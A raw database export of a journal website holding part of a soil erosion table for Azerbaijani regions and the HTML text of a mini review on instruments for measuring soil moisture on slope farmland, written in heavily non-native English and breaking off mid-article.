style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8/28</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Chad</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">79</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/33</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9/8</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">28</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/36</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5/21</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Zangilan</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/33</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4/22</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/20</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9/23</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lerik</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">136</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">43</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/32</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4/14</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">27</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8/20</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">44</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/33</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Yardymly</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1/34</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">12</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/17</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/14</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2/34</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mining of Goranboy</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/20</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8/19</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/36</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">33</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6/16</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Julfa</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">99</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9/10</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">16</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3/16</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3/25</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">47</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9/48</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Shahbuz</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">61</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1/19</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4/6</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7/19</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2/54</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ordubad</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">92</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">4</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">0/7</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5/10</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5/14</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">62</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">1/67</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:96.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Absheron</span></p>\r\n			</td>\r\n			<td style=\"width:78.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">535</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">57</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5/10</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:70.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">116</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8/21</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">8</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">165</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5/30</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">9</span></p>\r\n			</td>\r\n			<td style=\"width:78.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">195</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">5/36</span><span style=\"font-size:10.0pt\">.</span><span style=\"font-size:10.0pt\">6</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2:</strong> Everification of soil erosion in mountain regions of Azerbaijan.</span></span></p>\r\n</div>\r\n</div>\r\n','1539161823.pdf',NULL,'1539161823.jpg','',0,1,'2018-10-10 14:27:03','2018-10-16 01:10:21',1),(18,35,'20','2018','Methods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan','Rae ZH Aliyev*','Mini Review','Methods-of-Consulting-on-Studying-the-Degree-of-Moisture-Supply-of-Slope-Lands-for-Agricultural-Production-on-Azerbaijan','Methods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan','Methods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan','Methods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan','<p style=\"text-align:center\"><span style=\"font-size:20px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Methods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan</strong></span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Rae ZH Aliyev<sup>*</sup></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Institute of Soil Science and Agrochemistry of NAS of Azerbaijan, Azerbaijan</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>: Rae ZH Aliyev, Institute of Soil Science and Agrochemistry of NAS of Azerbaijan, Azerbaijan. Email: <a href=\"mailto:zaakirakademik@mail.ru\">zaakirakademik@mail.ru</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Aliyev ARBH, Aliyev RZH (2018) Methods of Consulting on Studying the Degree of Moisture Supply of Slope Lands for Agricultural Production on Azerbaijan. Open Acc J Agri Res: OAJAR-100009.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>22<strong> </strong>August, 2018; <strong>Accepted Date:</strong> 18 September, 2018; <strong>Published Date:</strong> 10 October, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The current information on moisture and the temperature of the ground in managerial system by production to agricultural product necessary, in the first place, for taking the operative decisions at development ecological clean technology irrigation under growing agricultural cultures to achieve the maximum harvest.</span></p>\r\n','<p style=\"text-align:justify\"><strong>2. Keywords:</strong><span style=\"font-size:10.0pt\"> Aerospace Methods; Arable; COW; Drill; Ecology; Graduation; Moisture; Moisture Test; Soil; Tool; Vafer</span> <span style=\"font-size:10.0pt\">Humidity</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The increasing growing of the population in republic puts the problems, provision their provisions including product agricultural production. The known that in Azerbaijan, as from 50-yh years past centuries in broad scale is realized irrigation - ameliorative construction, which has got the big range after 70-h years. The year for year was increased rates water economy construction.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">As a result, this:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- irrigated area increased from 1200 thou. ha before 1400 thou. ha;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- total water withdrew increased on 9,8 mln. m<sup>3</sup>;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- an area, engulfed collector-drainage by network bringing before 400 thou. ha; (opening collector-drainage network - 273,0; closing - 115,0 thou. ha; and vertical drainage before 5 thou. ha).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Noticeably increased the harvest of the agricultural cultures, so for instance pat reached 30,8 c/h</span><span style=\"font-size:10.0pt\">?</span><span style=\"font-size:10.0pt\">; corn -24,7 c/ha and vegetables -204 c/h</span><span style=\"font-size:10.0pt\">?</span><span style=\"font-size:10.0pt\">. Alongside with reached success in water economy construction, in prospect follows to execute the following ameliorative of the action:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a reconstruction to irrigation network in separate region of the republic;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- an improvement ameliorative conditions of the lands:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- increasing water provides agricultural cultures;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a planning the lands;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a construction small pools;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a development and broad introducing the systems water protect few intensive of the technology and technologies of the irrigation agricultural cultures;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">-a mastering (for necessities agricultural production) of the additional areas, by introduction is blazed-irrigated husbandries;</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- a realization to mechanizations and automations of the process of the irrigation agricultural cultures and etc.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- an using the progressive methods and technical facilities of the study of the condition of ground and receptions express-measurements agro ameliorative parameter and others (including aerospace measurement).</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">- an introduction to enabling technologies on production of the ecological clean product and increasing to productivities.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Follows to note that efficiency of the use progressive water protect technologies of the irrigation and the further his developments in republic consists in that to develop and introduce in production the most latest achievements national and foreign science, technology and leading experience in purpose of the provision high rate production and increasing to their cost-performance, all measured of the growing to capacity of the labour, culture level increasing of the husbandry, best use the production assets, improvements quality irrigation of the work and increasing to reliability of the applicable technology. In connection with growth technique contamination surrounding ambiences, appears the problem of the reception to ecological clean product agricultural production. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Full information needs for this about condition of ground, about their </span><span style=\"font-size:10.0pt\">??????????</span><span style=\"font-size:10.0pt\">, about intensities of the contamination of ground chemical element, pesticides, radio nuclides etc., as well as dependency of this contamination from hydro meteorology of the conditions. Since ground-main natural facility production provisions. Moisture and temperature of the ground - one of the main physical characteristic grounds, which define their fertility.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Without presence necessary (required) amount water in ground and corresponding to temperature agricultural cultures do not sprout in general. Moisture of ground influences upon dissolve, displacement and efficiency organic and mineral fertilizers, on degree of the contamination of ground pesticides and the other product techniques origins, on that, on how much agricultural plants will adopt bad for health of the people chemists. The current information on moisture and the temperature of the ground in managerial system by production to agricultural product necessary, in the first place, for taking the operative decisions at development ecological clean technology irrigation under growing agricultural cultures to achieve the maximum harvest. There are in view of technological decisions (so for instance, agro techniques of the action) in questions main and before sowing of the processing of ground, practicability and periods of the sowing agricultural cultures, rates and periods irrigation and contributing the mineral fertilizers etc.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;However, management body, science, production have far from full operative information on moisture of ground through lack of the necessary methods and technical facilities of their reception in branches agricultural production country. Besides, most exactly and operative possible was get information on moisture and the temperature of the ground by means of artificial companion, but this information is limited only by surface of the land or several centimeters upper layer ground. Here in after herewith got from cosmos data, necessary to recognize. But this signifies necessary graduate sensors artificial companion land. That this realizes, necessary to have a reliable overland express-methods and technical facilities of the reception to information on moisture and temperature of the ground. Such methods of the facility must provide the reception to information in deep cut (though, on depth lied root system of the plants) and area agricultural fields) [1].</span>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The most known method of the reception given about moisture of ground from her surfaces before depth 100-150 sm, layer through each 10 sm, is Thermostat-Weight (TW) method. He presents the possibility to get given about moisture of ground for the whole depth lied cortex plants, which puts his untouchable with aerospace methods if the question is objective information in what, that determined point agricultural fields. But if the question is relative surface moistening of the whole field, that here already TW method, as well as any other overland way, cannot compete c aerospace methods and facility of the reception to this information. Together with that, TW-method has a row defect, which do not promote that to use his as standard at graduation overland and aerospace instrument.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Besides, spread of time measurements to moisture of ground forms 1,5-2 days. This brings about delay when taking the important technological decisions, under significant setting since or hot dry wind moisture ground for this time can essential image to change. Though, on her improvement, developments and introduction high-speed express-instrument much study was organized for measurement of moisture of ground. However, offered hitherto instruments (including neutron moisture meter VNP-1, &quot;Agro tester&quot;, high frequency moisture measure soil sample SVP-5, meter parameter ground VPG-1 and others) have not found broad spreading on the strength of the following objective reasons.&nbsp; So, for instance: using VNP-1 requires installation on floor plant around pipes (metallic or plastic), which disturb the middle row to processing plowing cultures [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">High frequency moisture measure SVCH-5 not capable completely to change TW-method since for selection soil sample is used soil boer. The most adapting to condition of the use in agricultures &quot;Agro tester&quot; and VPG-1. Both instruments have a portable sensor-boer, to which connect the measuring block, but after measurements sensor and meter delete from field. &quot;Agro tester&quot; does not bear field test not review inaccuracy measurements through inexactness of the measurements, in base which, prescribed method of the measurement of the complex resistance of ground in variable electric field (so-called conduct meter method). Here sensors of the instrument are made thereby that two round spirals to blades serves and facility of the submersion of the sensor on given depth and facility of the measurement i.e. capacitor, in which ambience between cover-blade is ground. But instrument VPG-1 shows comparatively acceptable outcome of trail and is recommended to introduction on hydro meteorology station country C.I.S. as far back as 80-90 [3,4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">However, on the strength of the other reasons he too has not found broad spread. For determination of moisture of ground on evidences VPG-1 is used enough </span><span style=\"font-size:10.0pt\">?????????</span><span style=\"font-size:10.0pt\"> methods. For indication of the evidences of the instrument is used micro ampere measure- instrument itself inexact, easy damaged in field condition. For broad using VPG-1 necessary was vastly consolidate the design of the sensor, simplify the methods graduation and measurements, but in measuring block to use more reliable and more exact digital indication of the evidences of the instrument. The purpose of the removal aforesaid defect in 2001 given design was modified on VPG-4C which has exceeded TW-method on all factors, in that power and on accuracy given about moisture of ground on separate agriculture field (the land). The standard deviation herewith from given thermostat-weight of the method for VPG-4C formed 1,5 %. This on 0,5% more exactly, than shows VNP-1 and on 1,0% more exactly VPG-1 [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">&nbsp;But obtain this manages due to the fact that in process of the measurement to moisture applying new way measurements to electric capacity and moisture. Relies on that main way of the reception most external evidence about moisture of ground, in the opinion of many researchers, is TW-method. However herewith, as a rule, do not take into account that probe methods does not display on measured space field level to moisture therefore that moisture of ground is defined not 10-refer to layer of the whole field, occupied concrete agriculture by culture, but in that sample of ground only, which is selected for analysis in 40-50 gr aluminum bank. Moisture measures in ditto time instrument VPG-4C in volume of ground, which reminds the form of the cylinder, height 10 sm and diameter 60 sm, but this was test by weight, beside 40-50 kg dry mass. It must be assumed that similar defect photo optics moisture measure soil sample and portable IK- moisture measure IRMM-106. To use both instruments for measurement of moisture necessary to take out the tests by soil boer. More over these tests of the insufficient volume.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The advantage VPG-4C is concluded and hedgehog in that that her possible also to measure and the temperature of the ground. The particularity of this method is concluded, that that he more sensitive to capacitive forming complex electro conductivity ground, than all known hitherto her predecessors [2,5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">It is necessary to note, at present in facilities and institutions of the agricultural profile to lead stale work, directed on collection, processing, conservation and transmission to information on surrounding ambience, condition of ground, plants etc. that requires the material expenses and big manual labour, which brings about essential fascination of the cost to information. The broad automation of the agricultural work with using modern computer technology has allowed not only amounts of the manual works of time but reduce the cost to information and that particularities it is important, essential image to perfect her quality and operation. The truth exists and foreign remote points as production of the finish company &quot;Vaysal&quot;, automated weather station general Israel - American production and automated meteorological station NPO &quot;Agate&quot; and others follows to note that nor one of considered systems not completely answers the problem and requirements agro meteorology since does not offer the real sensor for measurement of moisture of ground, without which automation of the measurements is an few effective [4].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The necessary development and introduction automated measuring systems for cathedral, processing, keeping and transmissions to information on condition of ground, connected with decision of the complex of the problems. Here the most important is a measurement speaker&rsquo;s moisture spare in ground. But without decision of the problems of the creation exact measure sensor to moisture of ground all deal to automations measurement other parameter of ground in agro amelioration, as particularly important for conditions of the mountain husbandry in region really turn out to be the few effective.&nbsp; At presence sensor to moisture of ground already become important also sensors of the temperature, density, acidity and others parameter of ground. The broad automation of the measurements agro ameliorative parameter of ground can precede creation and introduction regional remote agro meteorology information-reference points, which allow to feel the sensors and measuring systems, process the material for the reason reduction of labour content and cost to source information about condition of ground. It must be assumed that here in after state of working these points, possible easy automates with infrastructure observant meteorological zonal station.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">As a result of searching for of the decisions of the problems became known that NPO &quot;Selta&quot;, NPO &quot;Agate&quot;, ANAKA AN ARE, have comprised of kit of its system project meter to moisture of ground with using the perspective method infrared (IK) spectroscopy. However, if take even fine film of ground by thickness several microns, that she is absolutely impervious for IK- rays [2,3]. Possible using the approach, founded on reflection IK- rays, but this approach on given time not it is enough not explored. Really method IK spectroscopy possible to use not only for determination of the contents of the miscellaneous material in composition mixture, but also in all events he and for determination other necessary parameter, also can is used in variant of the drive IK- rays through under investigation object.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Besides method IK- spectroscopy, pertains to more expensive and suitable to laboratory studies, rather than for development field express-instrument and automated remote device of the measurement to moisture of ground. However, on this cause, is considered reasonable acceptance in attention of the own opinions of the row scientist.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">The results of the analysis of these studies prove that no united thought (the offers) comparatively principle of the building automated measuring systems in agro meteorology not only, but also hydro meteorology as a whole. The most making, for methods and facilities of the automatic checking hydro ameliorative parameter, on our glance is a finish company &quot;Vaysal&quot;, which offers the consumer certain automatic system for observation for condition many element weathers on the base specialized (meteorological) of the computer. However, system of the company &quot;Vaysal&quot; is &quot;locked&quot; i.e. without special meteorological computer sensors of the company can be not used.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Besides, for the reason decisions of the similar problems, UKRNIGMI was designed automatic system of the checking parameter ground, which on many sign broader possibilities dominates the similar development of the company &quot;Vaysal&quot;. Since proposed UKRNIGMI system is open for any sensor and can be straight connected to computer network through standard relationship without additional connecting device [3,5]. The system will allow simultaneously to remove and send given from big amount sensor on distance before 10 km by means of cable and before 100 km and more with use the facility radio system. 